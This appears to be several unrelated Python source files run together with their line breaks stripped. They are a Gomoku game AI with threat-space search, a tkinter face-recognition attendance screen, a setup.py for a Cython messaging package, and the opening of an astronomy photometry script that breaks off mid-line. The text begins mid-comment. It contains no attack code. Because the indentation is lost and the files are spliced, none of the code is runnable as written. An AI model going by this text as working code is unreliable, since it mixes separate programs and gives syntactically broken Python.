AI can win this turn, AI does so # (1) -> Check for opponent's threats and prevent them (the straight_four # threat cannot be prevented so we will not check for this threat type) # (2) -> Form a winning threat-sequence independent of opponent's movement # (we will ignore the proof-number search for now and allow opponent # to place seeds on all cost squares) # (3) -> Prevent opponent from forming a threat (prevention is better than # cure). There may be multiple squares to prevent multiple threats # so we count all and see which square has the most occurances. This # can be done by treating own colour as opponent. If placing on a # square results in a threat being formed, then that square is a # prevention square. # (4) -> Lastly, we will place our seed where our seeds are most in-line. # Calculation: total seeds in-line excluding where seed is placed. # If turn 1 => place beside opponent's. Also if multiple squares # have equal total, randomly select a square. empty = 0 black = 1 white = 2 class Problem: def __init__(self, size, AI, board): # Initialise a board self.size = size self.AI = AI self.found_sol = False self.sol_seq = [] self.board = board sum_ = sum([ sum(lis) for lis in self.board ]) if sum_ % 3 == 0: # black first, me black = 1 white = 2 p1_c = black else: black = 2 white = 1 p1_c = black ## These conditions determine who starts if p1_c == white: self.p1_c = white self.AI_c = black elif p1_c == black: self.p1_c = black self.AI_c = white def my_move(self): location = self.p() # start process return location def p(self): #use current board if sum([ sum(lis) for lis in self.board ]) == 0: return [int(self.size/2),int(self.size/2)] self.turn = 1 if self.found_sol: if len(self.sol_seq) > 0: AI_pos = self.sol_seq.pop(0) else: x = self.AI.find_threats(5, self.p1_c, self.size, self.board) y = self.AI.find_threats(6, self.p1_c, self.size, self.board) z = self.AI.find_threats(7, self.p1_c, self.size, self.board) if x != False or y != False or z != False: if x != False: if y == False and z != False: merged_threat = {**x, **z} # merge the threat dictionary elif y != False and z == False: merged_threat = {**x, **y} elif y != False and z != False: merged_threat = {**x, **y, **z} elif y == False and z == False: merged_threat = x else: if y == False and z != False: merged_threat = z elif y != False and z == False: merged_threat = y elif y != False and z != False: merged_threat = {**x, **y, **z} #print(merged_threat) v = list(merged_threat.values()) k = list(merged_threat.keys()) m = min(v) indices = [i for i, j in enumerate(v) if j == m] best_threat = [] for each in indices: best_threat.append(k[each]) #print("Best Placements: ",best_threat) AI_pos = choice(best_threat) # we will run the AI method here elif len([ num for num in [ num for lis in self.board for num in lis] if num!=0 ]) == 1: AI_pos = self.AI.maximise_own(self.board, self.p1_c, self.AI_c, 2) else: x = self.AI.find_threats(5, self.p1_c, self.size, self.board) y = self.AI.find_threats(6, self.p1_c, self.size, self.board) z = self.AI.find_threats(7, self.p1_c, self.size, self.board) if x != False or y != False or z != False: if x != False: if y == False and z != False: merged_threat = {**x, **z} elif y != False and z == False: merged_threat = {**x, **y} elif y != False and z != False: merged_threat = {**x, **y, **z} elif y == False and z == False: merged_threat = x else: if y == False and z != False: merged_threat = z elif y != False and z == False: merged_threat = y elif y != False and z != False: merged_threat = {**y, **z} # problem_fixed #print(merged_threat) v = list(merged_threat.values()) k = list(merged_threat.keys()) m = min(v) indices = [i for i, j in enumerate(v) if j == m] best_threat = [] for each in indices: best_threat.append(k[each]) #print("Best Placements: ",best_threat) AI_pos = choice(best_threat) else: root_node = self.AI.node(None) sol = self.AI.threat_space_search(self.board, root_node, self.p1_c, self.AI_c, self.size) if sol: self.found_sol = True self.sol_seq = sol[1:] #print(self.sol_seq) AI_pos = self.sol_seq.pop(0) else: AI_pos = self.AI.maximise_own(self.board, self.p1_c, self.AI_c, self.turn) if AI_pos is None: width, height = len(self.board), len(self.board[0]) score_matrix1 = utils.my_score_matrix(self.board) score_matrix2 = utils.opponent_score_matrix(self.board) score_lis = [] for i in range(width): for j in range(height): max_ = max(score_matrix1[i][j], score_matrix2[i][j]) min_ = min(score_matrix1[i][j], score_matrix2[i][j]) score_lis.append( ( max_, min_, (i, j) ) ) score_lis.sort(reverse=True) AI_pos = score_lis[0][2] return AI_pos class AI: # Defining of all threat variations def four(self, array, colour):# accepts an array of length 5 x = list(array) #print(x.count(colour), x.count(empty)) if x.count(colour) == 4 and x.count(empty) == 1: return [True,x.index(empty)] return [False] def broken_three(self, array, colour): #010110 or 011010 (flip!) accepts array 6 if array[0] == empty and array[1] == colour and \ array[5] == empty and array[4] == colour: if (array[2] == empty and array[3] == colour): return [True,2] elif (array[2] == colour and array[3] == empty): return [True,3] return [False] def three(self, array, colour): # accepts array 7 if colour == black: opp = white else: opp = black #0011100 or 2011100 or 0011102 if array[2] == colour and array[3] == colour and array[4] == colour and array[5] == empty and array[1] == empty: if array[0] == empty and array[6] == empty: return [True, 1, 5] elif array[0] == opp and array[6] == empty: return [True, 1,5,6] elif array[0] == empty and array[6] == opp: return [True, 1,5,0] return [False] def straight_four(self, array, colour): if array[0] == empty and array[5] == empty and array [1] == colour and \ array[2] == colour and array[3] == colour and array[4] == colour: return True return False def five(self, array, colour): x = list(array) if x.count(colour) == 5: return True return False # This AI will decide a move based on the following order of steps: # (0) -> If AI can win this turn, AI does so # (1) -> Check for opponent's threats and prevent them (the straight_four # threat cannot be prevented so we will not check for this threat type) # (2) -> Form a winning threat-sequence independent of opponent's movement # (we will ignore the proof-number search for now and allow opponent # to place seeds on all cost squares) # (3) -> Prevent opponent from forming a threat (prevention is better than # cure). There may be multiple squares to prevent multiple threats # so we count all and see which square has the most occurances. This # can be done by treating own colour as opponent. If placing on a # square results in a threat being formed, then that square is a # prevention square. # (4) -> Lastly, we will place our seed where our seeds are most in-line. # Calculation: total seeds in-line excluding where seed is placed. # If turn 1 => place beside opponent's. Also if multiple squares # have equal total, randomly select a square. ################### ## Section (0+1) ## ################### def threat_algo(self, array, colour, length): ## colour = player's colour by default if colour == white: opp = black else: opp = white if length == 5: #print(array) x = self.four(array,opp) if x[0]: x.append(1) return x x = self.four(array,colour) if x[0]: x.append(2) return x elif length == 6: x = self.broken_three(array,opp) if x[0]: x.append(3) return x x = self.broken_three(array,colour) if x[0]: x.append(5) return x elif length == 7: x = self.three(array, opp) if x[0]: y = choice([x[1],x[2]]) return [True, y, 4] x = self.three(array, colour) if x[0]: y = choice([x[1],x[2]]) return [True, y, 6] return [False] def find_threats(self, length, colour, size, board): threat_list = {} ## Read horizontally for row in range(size): for col in range(size-(length-1)): array = [ board[row][k] for k in range(col,col+length) ] i = self.threat_algo(array,colour, length) if i[0] == True: threat_list.update({(row,col+i[1]): i[2]}) ## Read vertically for col in range(size): for row in range(size-(length-1)): array = [ board[k][col] for k in range(row,row+length) ] i = self.threat_algo(array,colour, length) if i[0] == True: threat_list.update({(row+i[1],col): i[2]}) ## Read diagonally for row in range(size-(length-1)): for col in range(size-(length-1)): array = [] for i in range(length): array.append(board[i+row][i+col]) #print(array) i = self.threat_algo(array,colour, length) if i[0] == True: threat_list.update({(row+i[1],col+i[1]): i[2]}) array = [] for i in range(length): array.append(board[i+row][col+length-1-i]) #print(array) i = self.threat_algo(array,colour, length) if i[0] == True: threat_list.update({(row+i[1],col+length-1-i[1]): i[2]}) if len(threat_list.keys()) == 0: return False else: return threat_list ################# ## Section (2) ## ################# class node: def __init__(self,val): self.val = val self.children = [] self.parent = False self.sol = None def set_child(self,child_node): self.children.append(child_node) def set_parent(self,parent_node): self.parent = parent_node def set_sol(self,node): self.sol = node def threat_space_search(self, board, root_node, p1_c, AI_c, size): found_sol = False sol_seq = [] def store_seq(leaf_node): nonlocal sol_seq #print(leaf_node.val) sol_seq.insert(0, leaf_node.val) if leaf_node.parent: store_seq(leaf_node.parent) def make_threats(old_board, root_node, parent_node, depth): ### Calling this func takes in a root node and initial board, ### loops through each square, place stone on square and check ### for any threats made. If a single threat is found, then ### update modified_board with the cost squares. Add that board ### to new_boards list. As long as winning sol is not found and ### there are some new boards, recursively call make_threats() ### until a sol is found or no more possible threats can be ### sequenced up. nonlocal found_sol nonlocal sol_seq if depth < 3: new_boards = [] width, height = len(old_board), len(old_board[0]) score_matrix1 = utils.my_score_matrix(old_board) score_matrix2 = utils.opponent_score_matrix(old_board) score_lis = [] for i in range(width): for j in range(height): max_ = max(score_matrix1[i][j], score_matrix2[i][j]) min_ = min(score_matrix1[i][j], score_matrix2[i][j]) score_lis.append( ( max_, min_, (i, j) ) ) ''' num = score_matrix1[i][j] + score_matrix2[i][j] score_lis.append( ( num, (i, j) ) ) ''' score_lis.sort(reverse=True) #count = 10 #score_lis = score_lis[:count] #res_lis = [ pair[1] for pair in score_lis ] count = 0 res_lis = [] for i in range(len(score_lis)): if count == 6: # change break _, _, location = score_lis[i] res = utils.get_neighbors(location, old_board) #if sum([ sum(lis) for lis in res ]) > 0: # not so empty res_lis.append(location[:]) count += 1 #res_lis.sort() shuffle(res_lis) ''' res_lis = [] for i in range(len(score_lis)): _, _, location = score_lis[i] m, n = location res = utils.get_neighbors(location, old_board) if sum([ sum(lis) for lis in res ]) > 0: # not so empty res_lis.append(score_lis[i][2][:]) ''' for pair in res_lis: i, j = pair modified_board = deepcopy(old_board) modified_board[i][j] = AI_c bool_l = 0 bool_ll = 0 a = loop_board(size, 5, AI_c, modified_board, 0) b = loop_board(size, 6, AI_c, modified_board, 0) c = loop_board(size, 7, AI_c, modified_board, 0) merged_threat_list = a+b+c if len(merged_threat_list) == 1: #print("Position: ",i,j) #print("Threat List: ", merged_threat_list) x = self.node([i,j]) x.set_parent(parent_node) parent_node.set_child(x) for each in merged_threat_list[0]: modified_board[each[0]][each[1]] = p1_c new_boards.append([modified_board, x]) elif len(merged_threat_list) == 2: # a secondary confirmation as a double # threat may have been found but in fact # the cost square of one interferes with the # solution of the other confirmed = False confirmed2 = False for t in merged_threat_list[0]: sol_board = modified_board.copy() sol_board[t[0]][t[1]] = p1_c for p in merged_threat_list[1]: if not confirmed: if sol_board[p[0]][p[1]] == empty: sol_board1 = sol_board.copy() sol_board1[p[0]][p[1]] = AI_c if loop_board(size, 5, AI_c, sol_board1, 1) or loop_board(size, 6, AI_c, sol_board1, 1): confirmed = True if confirmed: for t in merged_threat_list[1]: # assuming double-threat only sol_board = modified_board.copy() sol_board[t[0]][t[1]] = p1_c for p in merged_threat_list[0]: if not confirmed2: if sol_board[p[0]][p[1]] == empty: sol_board1 = sol_board.copy() sol_board1[p[0]][p[1]] = AI_c if loop_board(size, 5, AI_c, sol_board1, 1) or loop_board(size, 6, AI_c, sol_board1, 1): confirmed2 = True if confirmed and confirmed2: #print(merged_threat_list) #print('found a sol!') x = self.node([i,j]) x.set_parent(parent_node) parent_node.set_child(x) root_node.set_sol(merged_threat_list) sol_seq = [] store_seq(x) found_sol = True ##for each in merged_threat_list: ## y = self.node(each) ## y.set_parent(x) ## x.set_child(y) if len(new_boards) != 0 and found_sol == False: for each in new_boards: #print('test') make_threats(each[0], root_node, each[1], depth+1) def loop_board(size, length, colour, board, spec): ### Iterates through the board, returns a list of ### lists of cost_squares, each sub-list corresponding ### to a threat in the modified board. ### Note that it can be more efficient by just checking ### the vicinity of the position AI_c was placed at threat_list = [] for row in range(size): for col in range(size-(length-1)): array = [ board[row][k] for k in range(col,col+length) ] if spec == 0: i = win_algo(array,colour, length) if i[0] == True: cost_squares = [] for each in i[1]: cost_squares.append([row,col+each]) threat_list.append(cost_squares.copy()) else: x = sol_algo(array, colour, length) if x: return x for col in range(size): for row in range(size-(length-1)): array = [ board[k][col] for k in range(row,row+length) ] if spec == 0: i = win_algo(array,colour, length) if i[0] == True: cost_squares = [] for each in i[1]: cost_squares.append([row+each,col]) threat_list.append(cost_squares.copy()) else: x = sol_algo(array, colour, length) if x: return x for row in range(size-(length-1)): for col in range(size-(length-1)): array = [] for i in range(length): array.append(board[i+row][i+col]) #print(array) if spec == 0: i = win_algo(array,colour, length) if i[0] == True: cost_squares = [] for each in i[1]: cost_squares.append([row+each,col+each]) threat_list.append(cost_squares.copy()) else: x = sol_algo(array, colour, length) if x: return x array = [] for i in range(length): array.append(board[i+row][col+length-1-i]) #print(array) if spec == 0: i = win_algo(array,colour, length) if i[0] == True: cost_squares = [] for each in i[1]: cost_squares.append([row+each,col+length-1-each]) threat_list.append(cost_squares.copy()) else: x = sol_algo(array, colour, length) if x: return x if spec == 0: return threat_list else: return False def win_algo(array,colour, length): ### Check if a threat formation is found, returns True and ### the cost squares if found if length == 5: x = self.four(array,colour) if x[0]: return [True, [x[1]]] elif length == 6: x = self.broken_three(array,colour) if x[0]: return [True, [x[1]]] elif length == 7: x = self.three(array, colour) if x[0]: return [True, x[1:]] return [False] def sol_algo(array, colour, length): if length == 5: x = self.five(array, colour) if x: return x elif length == 6: x = self.straight_four(array, colour) if x: return x return False make_threats(board, root_node, root_node, 0) if found_sol: return sol_seq else: return False ################# ## Section (4) ## ################# def maximise_own(self, board, p1_c, AI_c, turn): ## This is now considering when it is AI's first turn ## where we intend to place beside player's seed ## (Note: colour is player's colour, not AI's colour) if turn == 2: width, height = len(board), len(board[0]) try: index = [ [i, j] for i in range(width) for j in range(height) if board[i][j] == p1_c][0] except: index = [ [i, j] for i in range(width) for j in range(height) if board[i][j] == 3-p1_c][0] # If row index > column index i.e. bottom left triangle, # then place on top of opponent seed. Vice versa if index[0]>index[1]: return [index[0]-1, index[1]] else: # else case includes when both indices are equal return [index[0]+1, index[1]] ## This is where we consider connecting as many consecutive seeds ## as possible else: score = {} width, height = len(board), len(board[0]) for row in range(width): for col in range(height): if board[row][col] == empty: try: # where we place our seed score.update(self.check_surroundings(board, AI_c,row,col)) except IndexError: pass ##print("Scores: ",score) v = list(score.values()) k = list(score.keys()) m = max(v) indices = [i for i, j in enumerate(v) if j == m] best_score = [] for each in indices: if k[each][0] >= 0 and k[each][1] >=0: best_score.append(k[each]) ##print("Best Placements: ",best_score) for pair in best_score: res = utils.get_neighbors(pair, board) if sum( [ sum(lis) for lis in res ] ) > 0: return pair #return choice(best_score) def check_surroundings(self, board, colour, row, col): ## Basically, given a possible position you can place your seed, ## calculate the score i.e. no. of consecutive seeds in all directions sub_score = 0 # how many consecutive seeds (directionless) score = 0 empty_counter = 0 def check_neighbour(original_row,original_col,row,col,direction, side, prev_is_empty): def num_to_dir(argument): def TLBR(): return [[row-1,col-1],[row+1,col+1]] def TRBL(): return [[row-1,col+1],[row+1,col-1]] def HORZ(): return [[row,col-1],[row,col+1]] def VERT(): return [[row-1,col],[row+1,col]] switcher = { 1: TLBR, 2: TRBL, 3: HORZ, 4: VERT, } func = switcher.get(argument) return func() try: nonlocal sub_score nonlocal score nonlocal empty_counter if colour == black: opp = white else: opp = black # SIDE 0 (vs SIDE 1) if side == 0: new_row = num_to_dir(direction)[0][0] new_col = num_to_dir(direction)[0][1] elif side == 1: new_row = num_to_dir(direction)[1][0] new_col = num_to_dir(direction)[1][1] if new_row < 0: new_row = 13 elif new_col < 0: new_col = 13 ## if original_row == 3 and original_col == 4: ## print("R: ",new_row, "C: ", new_col) if board[new_row][new_col] == colour: if empty_counter == 1: sub_score += 0.9 else: sub_score += 1 check_neighbour(original_row,original_col,new_row,new_col,direction,side, False) elif board[new_row][new_col] == empty and empty_counter < 1: ## We would only want to check up to 1 empty square beyond empty_counter += 1 check_neighbour(original_row,original_col,new_row,new_col,direction,side, True) elif board[new_row][new_col] == empty and empty_counter == 1: ## Flip side if side == 0: empty_counter = 0 check_neighbour(original_row,original_col,original_row,original_col,direction,1,False) else: score += sub_score sub_score = 0 empty_counter = 0 elif board[new_row][new_col] == opp: if prev_is_empty: ## Flip side if side == 0: empty_counter = 0 check_neighbour(original_row,original_col,original_row,original_col,direction,1,False) else: score += sub_score sub_score = 0 empty_counter = 0 else: sub_score = 0 empty_counter = 0 except IndexError: if side == 0: # Flip side empty_counter = 0 check_interference(original_row, original_col,original_row, original_col, direction,1) else: score += sub_score sub_score = 0 empty_counter = 0 def check_interference(original_row, original_col, row, col, direction, side): def num_to_dir(argument): def TLBR(): return [[row-1,col-1],[row+1,col+1]] def TRBL(): return [[row-1,col+1],[row+1,col-1]] def HORZ(): return [[row,col-1],[row,col+1]] def VERT(): return [[row-1,col],[row+1,col]] switcher = { 1: TLBR, 2: TRBL, 3: HORZ, 4: VERT, } func = switcher.get(argument) return func() try: nonlocal score nonlocal sub_score nonlocal empty_counter if colour == black: opp = white else: opp = black # SIDE 0 (vs SIDE 1) if side == 0: new_row = num_to_dir(direction)[0][0] new_col = num_to_dir(direction)[0][1] elif side == 1: new_row = num_to_dir(direction)[1][0] new_col = num_to_dir(direction)[1][1] if new_row < 0: new_row = 13 elif new_col < 0: new_col = 13 ## if original_row == 3 and original_col == 0: ## print("R: ",new_row, "C: ",new_col) if board[new_row][new_col] == opp: if empty_counter == 1: sub_score += 0.9 else: sub_score += 1 check_interference(original_row, original_col, new_row, new_col, direction,side) elif board[new_row][new_col] == empty and empty_counter < 1: empty_counter += 1 check_interference(original_row, original_col, new_row, new_col, direction,side) elif board[new_row][new_col] == colour: ## If you hit into your own seed, it means you're ## already blocking opponent, if any. So ignore sub_score = 0 empty_counter = 0 else: if side == 0: # Flip side empty_counter = 0 check_interference(original_row, original_col,original_row, original_col, direction,1) else: score += sub_score sub_score = 0 empty_counter = 0 except IndexError: if side == 0: # Flip side empty_counter = 0 check_interference(original_row, original_col,original_row, original_col, direction,1) else: score += sub_score sub_score = 0 empty_counter = 0 ## Check for all directions individually for i in range(4): check_neighbour(row,col,row,col,i+1,0, False) ## If my pieces are less than opponent ## => I gain advantage by interfering, ## more so than I lose out from being interfered. ## Hence we need to consider this special case and add it to score check_interference(row,col,row,col,i+1,0) return {(row,col): score} if __name__ == '__main__': board =[ [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 2, 1, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], ] pro = Problem(20, AI(), board) res = pro.my_move() print (res) import os import requests import base64 import io import time from cv2 import cv2 import numpy as np import tkinter from tkinter import * import PIL from PIL import Image, ImageTk import Click_n_Crop_Fusion # Another File for Camera Use import Communication_Fusion # Another File for Communication ####################################################################################################################### def mat_screen(): matching_screen = Toplevel() matching_screen.title("matching_screen") matching_screen.geometry("800x480+0+0") matching_screen.overrideredirect(False) #Set this to true to disable minimize/exit bar #Blank Blocks : Only for astherics blank1 =Label(matching_screen,text=" ",pady=10) blank1.grid(row =1,column =0,columnspan=8) #Blank Row below Org name blank2 =Label(matching_screen,text=" ",pady=30) blank2.grid(row =8,column =0,columnspan=8) #Blank Row below photo and instructions blank3 =Label(matching_screen,text=" ",pady=20) blank3.grid(row =9,column =0,columnspan=8,rowspan=2) #Blank Row between instructions and bottom text #AT Bottom status= Label(matching_screen,text="Developed In Delhi Technological University",bd = 1 ,relief=SUNKEN,anchor=E) status.grid(row=11,column =0 ,columnspan=8,sticky=W+E) #Organization Name Placement orgnameframe= LabelFrame(matching_screen,padx=95,pady=15) orgnameframe.grid(row=0,column=0,columnspan=8) org_name = Label(orgnameframe,text = "Delhi Technological University",anchor=CENTER) org_name.config(font=("Courier", 25)) org_name.pack() #Captured Photo Placement capturedframe = LabelFrame(matching_screen,padx=10,pady=10) capturedframe.grid(row=2,column=0,rowspan=3,columnspan=2) image =Label(capturedframe,image = CapImg) image.pack() capturedImgLabel = Label(matching_screen,text=" Captured Image") capturedImgLabel.grid(row=6,column=0,rowspan=3) #Database Photo Placement databaseframe = LabelFrame(matching_screen,padx=10,pady=10) databaseframe.grid(row=2,column=6,rowspan=3,columnspan=2) image =Label(databaseframe,image = RecImg) image.pack() capturedImgLabel = Label(matching_screen,text= percentage[0]+"% Match in "+"DataBase") capturedImgLabel.grid(row=6,column=6,rowspan=3) #Instructions instLabel = Label(matching_screen,text =" Please wait matching in Database ",anchor=CENTER) instLabel.config(font=("Courier", 15)) instLabel.grid(row=9,column=0,columnspan=8) print("Started the timer") matching_screen.after(2000,matching_screen.destroy) print("Destroyed") ########################################################################################### def fin_screen(): final_screen = Toplevel() final_screen.title("final_screen") final_screen.geometry("800x480+0+0") final_screen.overrideredirect(False) #Set this to true to disable minimize/exit bar #Blank Blocks : Only for astherics blank1 =Label(final_screen,text=" ",pady=28) blank1.grid(row =1,column =0,columnspan=8) #Blank Row below Org name blank2 =Label(final_screen,text=" ",pady=28) blank2.grid(row =5,column =0,columnspan=8) #Blank Row below photo and data dialogs blank3 =Label(final_screen,text="",padx=15) blank3.grid(row =1,column =0,rowspan=5) #Blank Column on left blank4 =Label(final_screen,text="",padx=15) blank4.grid(row =1,column =3,rowspan=5) #Blank Column in mid blank5 =Label(final_screen,text="",padx=15) blank5.grid(row =1,column =7,rowspan=5) #Blank Column on right #AT Bottom status= Label(final_screen,text="Developed In Delhi Technological University",bd = 1 ,relief=SUNKEN,anchor=E) status.grid(row=6,column =0 ,columnspan=8,sticky=W+E) #Organization Name Placement orgnameframe= LabelFrame(final_screen,padx=95,pady=15) orgnameframe.grid(row=0,column=0,columnspan=8) org_name = Label(orgnameframe,text = "Delhi Technological University",anchor=CENTER) org_name.config(font=("Courier", 25)) org_name.pack() #Photo Placement photoframe = LabelFrame(final_screen,padx=15,pady=12) photoframe.grid(row=2,column=1,rowspan=3,columnspan=2) if float(percentage[0]) >= threshold: image =Label(photoframe,image = RecImg) image.pack() else : image =Label(photoframe,image = CapImg) image.pack() #Welcome + Name if float(percentage[0]) >= threshold: name_to_print = str(names[0]) else : name_to_print = "Anonymous" welcomeframe = LabelFrame(final_screen,padx=30,pady=25) welcomeframe.grid(row=2,column=4,columnspan=3) nameLabel = Label(welcomeframe,text = "Welcome "+ name_to_print ,anchor = W) nameLabel.pack() #Attendence Status #status= " Succesfull" status = attendence attendenceframe = LabelFrame(final_screen,padx=30,pady=25) attendenceframe.grid(row=3,column=4,columnspan=3,sticky =W) attendenceLabel = Label(attendenceframe,text = "Attendence Status :"+ status ,anchor =W) attendenceLabel.pack() final_screen.after(3000,final_screen.destroy) print("Destroyed final_screen") ########################################################################################### def pop_matching_screen(): mat_screen() def pop_final_screen(): fin_screen() ########################################################################################### ########################################################################################### ideal_screen = Tk() ideal_screen.title("ideal_screen") ideal_screen.geometry("800x480+0+0") ideal_screen.overrideredirect(False) #Set this to true to disable minimize/exit bar RecievedDataFolder = '/home/jacksparrow/Desktop/Final_Fusion/Data Folder/Recieved Image/' SentDataFolder = '/home/jacksparrow/Desktop/Final_Fusion/Data Folder/Sent Image/' path_rec_img = "/home/jacksparrow/Desktop/Final_Fusion/Data Folder/Recieved Image/Resized1.jpg" path_cap_img = "/home/jacksparrow/Desktop/Final_Fusion/Data Folder/Sent Image/TempImg.jpg" path_logo ="/home/jacksparrow/Desktop/Final_Fusion/icon.jpg" LogoImg = ImageTk.PhotoImage(Image.open("/home/jacksparrow/Desktop/icon.jpg")) #Blank Blocks : Only for astherics blank1 =Label(ideal_screen,text=" ",pady=10) blank1.grid(row =1,column =0,columnspan=8) #Blank Row below Org name blank2 =Label(ideal_screen,text=" ",pady=28) blank2.grid(row =5,column =0,columnspan=8) #Blank Row below photo and instructions blank3 =Label(ideal_screen,text=" ",pady=53) blank3.grid(row =8,column =0,columnspan=8,rowspan=2) #Blank Row between instructions and bottom text blank4 =Label(ideal_screen,text="",padx=15) blank4.grid(row =1,column =0,rowspan=5) #Blank Column on left blank5 =Label(ideal_screen,text="",padx=15) blank5.grid(row =1,column =7,rowspan=5) #Blank Column on right #AT Bottom status= Label(ideal_screen,text="Developed In Delhi Technological University",bd = 1 ,relief=SUNKEN,anchor=E) status.grid(row=10,column =0 ,columnspan=8,sticky=W+E) #Organization Name Placement orgnameframe= LabelFrame(ideal_screen,padx=95,pady=15) orgnameframe.grid(row=0,column=0,columnspan=8) org_name = Label(orgnameframe,text = "Delhi Technological University",anchor=CENTER) org_name.config(font=("Courier", 25)) org_name.pack() #Organization Photo Placement photoframe = LabelFrame(ideal_screen,padx=0,pady=0) photoframe.grid(row=2,column=3,rowspan=3,columnspan=2) image =Label(photoframe,image = LogoImg) image.pack() #Instructions instLabel = Label(ideal_screen,text =" Please Stand At Least 1 meter away from the camera ",anchor=CENTER) instLabel.config(font=("Courier", 15)) instLabel.grid(row=7,column=3) print("AT END OF FIRST SCREEN") ####################################################################### Click_n_Crop_Fusion.CnC(5) CapImg = ImageTk.PhotoImage(Image.open(path_cap_img)) names, percentage =Communication_Fusion.Send_Img_Rec_Data(path_cap_img) #Sending The Names And Getting the Attendence responce threshold= 80.00 # Threshold on Percentage Match attendence = Communication_Fusion.MarkingAttendence(names,percentage,threshold) print("Attendence Status :", attendence) matched_img = cv2.imread(RecievedDataFolder + 'Recieved1.jpg') #print('Original Dimensions : ',matched_img.shape) width = 120 height = 160 dim = (width, height) # resize image resized = cv2.resize(matched_img, dim, interpolation = cv2.INTER_AREA) #print('Resized Dimensions : ',resized.shape) cv2.imwrite(RecievedDataFolder+'Resized1.jpg',resized) RecImg = ImageTk.PhotoImage(Image.open(path_rec_img)) ideal_screen.after(3000,pop_matching_screen) ideal_screen.after(5000,pop_final_screen) mainloop() 0 #!/usr/bin/env python """ Copyright (c) 2019, <> This file is distributed under the terms of the MIT license. Archive7 cython build script.""" from glob import glob from os import path from setuptools import setup, Extension from Cython.Build import cythonize base_dir = path.abspath(path.dirname(__file__)) with open(path.join(base_dir, 'README.md')) as desc: long_description = desc.read() with open(path.join(base_dir, 'version.py')) as version: exec(version.read()) setup( name="archive7", version=__version__, # noqa F821 license='MIT', description='A safe messaging system', author=__author__, # noqa F821 author_email=__author_email__, # noqa F821 long_description=long_description, # noqa F821 long_description_content_type='text/markdown', url=__url__, # noqa F821 # project_urls={ # "Bug Tracker": "https://bugs.example.com/HelloWorld/", # "Documentation": "https://docs.example.com/HelloWorld/", # "Source Code": "https://code.example.com/HelloWorld/", # } classifiers=[ 'Development Status :: 2 - Pre-Alpha', 'Environment :: Console', 'Environment :: MacOS X', 'Environment :: Win32 (MS Windows)', 'Environment :: X11 Applications :: Gnome', 'Framework :: AsyncIO', 'Intended Audience :: Developers', 'Intended Audience :: Information Technology', 'Intended Audience :: Religion', 'Intended Audience :: System Administrators', 'Intended Audience :: Telecommunications Industry', 'License :: OSI Approved :: MIT License', 'Operating System :: POSIX', 'Programming Language :: Cython', 'Programming Language :: Python :: 3.7', 'Topic :: Security', 'Topic :: System :: Archiving', 'Topic :: Utilities', ], zip_safe=False, test_suite='', python_requires='~=3.7', setup_requires=[ 'cython', 'sphinx', 'sphinx_rtd_theme', 'libnacl'], install_requires=[], # namespace_packages=['archive7'], packages=['archive7'], scripts=glob('bin/*'), ext_modules=cythonize( 'src/archive7/**.pyx', build_dir="build", compiler_directives={ 'language_level': 3, 'embedsignature': True}) ) SilverRon/gppy # PHOTOMETRY CODE FOR PYTHON 3.X # CREATED 2019.11.25 # UPDATE 2020.01.17 # UPDATE 2020.02.20 #============================================================ import os, glob, subprocess import numpy as np import matplotlib.pyplot as plt from astropy.table import Table, vstack from astropy.io import ascii from astropy.io import fits from astropy.time import Time from astropy.coordinates import SkyCoord from astropy import units as u from astropy.wcs import WCS from imsng import phot from imsng import query from imsng import tool from imsng import gcurve import time from datetime import date #============================================================ # FUNCTION #============================================================ def gcurvephot(inim, phottype, tra, tdec, path_base, path_refcat, path_obs, path_config, refmaglower, refmagupper, refmagerupper, inmagerupper, flagcut, apertures, aper_input, radius = 0.5, frac = 0.9, refcatname = 'PS1',): head = os.path.splitext(inim)[0] hdr = fits.getheader(inim) xcent, ycent= hdr['NAXIS1']/2., hdr['NAXIS2']/2. #------------------------------------------------------------ # RA, Dec CENTER FOR QUERYING #------------------------------------------------------------ try: w = WCS(inim) racent, decent = w.all_pix2world(xcent, ycent, 1) racent, decent = racent.item(), decent.item() except: print('BAD WCS INFORMATION?') racent, decent = hdr['CRVAL1'], hdr['CRVAL2'] #------------------------------------------------------------ # DATE-OBS, JD #------------------------------------------------------------ try: date_obs = hdr['date-obs'] jd = round(Time(date_obs, format='isot', scale='utc').jd, 